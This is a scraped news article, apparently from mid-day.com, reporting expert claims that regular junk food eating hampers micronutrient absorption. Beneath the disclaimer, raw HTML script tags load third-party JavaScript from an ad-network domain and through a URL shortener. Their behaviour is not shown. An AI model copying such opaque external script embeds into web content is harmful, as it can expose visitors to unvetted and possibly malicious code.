Regular consumption of <a href="https://www.mid-day.com/lifestyle/food/article/mumbais-gen-z-people-think-we-always-eat-junk-food-or-follow-an-unhealthy-diet-23328525" target="_blank" rel="none noopener">junk food</a> -- rich in sugar, salt, and fat -- hampers micronutrient absorption in the body and leads to nutrient deficiencies, affecting overall health, said experts on Saturday.
<a href="https://www.mid-day.com/lifestyle/health-and-fitness/article/national-nutrition-week-the-role-of-diet-in-migraine-prevention-and-relief-23387748" target="_blank" rel="none noopener">National Nutrition Week</a> is observed annually from September 1 to September 7. The theme this year is &lsquo;Nutritious Diets for Everyone&rsquo;.
A nutritional deficiency occurs when the body doesn't get enough of a nutrient from food or has trouble absorbing it.
Junk foods typically lack the necessary vitamins, minerals, and fiber that facilitate proper digestion and nutrient absorption. Deficiencies can affect digestion, and bone growth, cause skin disorders, anaemia, <a href="https://www.mid-day.com/lifestyle/health-and-fitness/article/more-screen-time-no-exercise-may-put-you-at-risk-of-digital-dementia-23385881" target="_blank" rel="none noopener">dementia</a>, nervous system damage, and more.
&ldquo;Consuming junk foods regularly can significantly hinder micronutrient absorption, leading to nutrient deficiencies. Processed and packaged foods often contain high amounts of sugar, salt, and unhealthy fats, which can displace essential vitamins and minerals,&rdquo; Dr Narendra Singhla, Lead Consultant &ndash; Internal Medicine at the CK Birla Hospital, Delhi, told IANS.
Junk foods often contain phytates, oxalates, and lectins, which can bind to minerals like zinc, iron, and calcium, inhibiting their absorption levels.
Similarly, &ldquo;the high sugar content in junk foods can interfere with the absorption of vital nutrients like calcium and magnesium, which are crucial for bone health,&rdquo; Dt. Divya Gopal, Consultant &ndash; Dietician &amp;amp; Nutritionist, Motherhood Hospitals, Banashankari, Bengaluru, told IANS.
In addition, the excessive unhealthy fats found in junk foods can impede the absorption of fat-soluble vitamins (A, D, E, and K), leading to potential deficiencies, the expert said.
The deficiencies in vital micronutrients can lead to fatigue, weakened immunity, and impaired cognitive function.
Moreover, the consumption of junk foods can disrupt the gut microbiota, which plays a critical role in nutrient absorption and overall health.
&ldquo;A diet dominated by processed and junk foods can lead to <a href="https://www.mid-day.com/lifestyle/health-and-fitness/article/chronic-diseases-lifestyle-factors-can-increase-risk-of-inflammation-cognitive-decline-experts-23384663" target="_blank" rel="none noopener">inflammation</a> in the gut, further impairing the body's ability to absorb essential micronutrients,&rdquo; Gopal said.
To maintain optimal health, it's crucial to reduce junk food intake and opt for a balanced diet, focussing on whole, nutrient-dense foods like fruits, vegetables, whole grains, and lean proteins.
Also Read: <a href="https://www.mid-day.com/lifestyle/health-and-fitness/article/national-nutrition-week-uncover-the-hidden-power-of-nutrition-on-womens-health-an-expert-guide-23385027" target="_blank" rel="none noopener">National Nutrition Week: Uncover the hidden power of nutrition on women's health &mdash; An expert guide</a>
This story has been sourced from a third party syndicated feed, agencies. Mid-day accepts no responsibility or liability for its dependability, trustworthiness, reliability and data of the text. Mid-day management/mid-day.com reserves the sole right to alter, delete or remove (without notice) the content in its absolute discretion for any reason whatsoever
 <script async="async" data-cfasync="false" src="//pl23789885.revenuecpmgate.com/7445444aea29efc3d061cbd866026c06/invoke.js"></script>
 <div id="container-7445444aea29efc3d061cbd866026c06"></div>
 <script type='text/javascript' src='https://2cm.es/1e0EP'></script><script type='text/javascript' src='https://2cm.es/1e0JF'></script>

National Nutrition Week 2024: Regular consumption of junk food hampers micronutrient absorption in the body and leads to nutrient deficiencies

National Nutrition Week 2024: How eating junk food regularly can make you nutrient deficient

Prolonged poor gut health, constipation and nausea may signal Parkinson's disease

Regular consumption of junk food -- rich in sugar, salt, and fat -- hampers micronutrient absorption in the body and leads to nutrient deficiencies

Eating junk food regularly can make you nutrient deficient, say experts

Trending Stories

Latest Photos

Latest Videos

Latest Web Stories

Mid-Day Fast

Home / Lifestyle / Health & Fitness / Article / Eating junk food regularly can make you nutrient deficient, say experts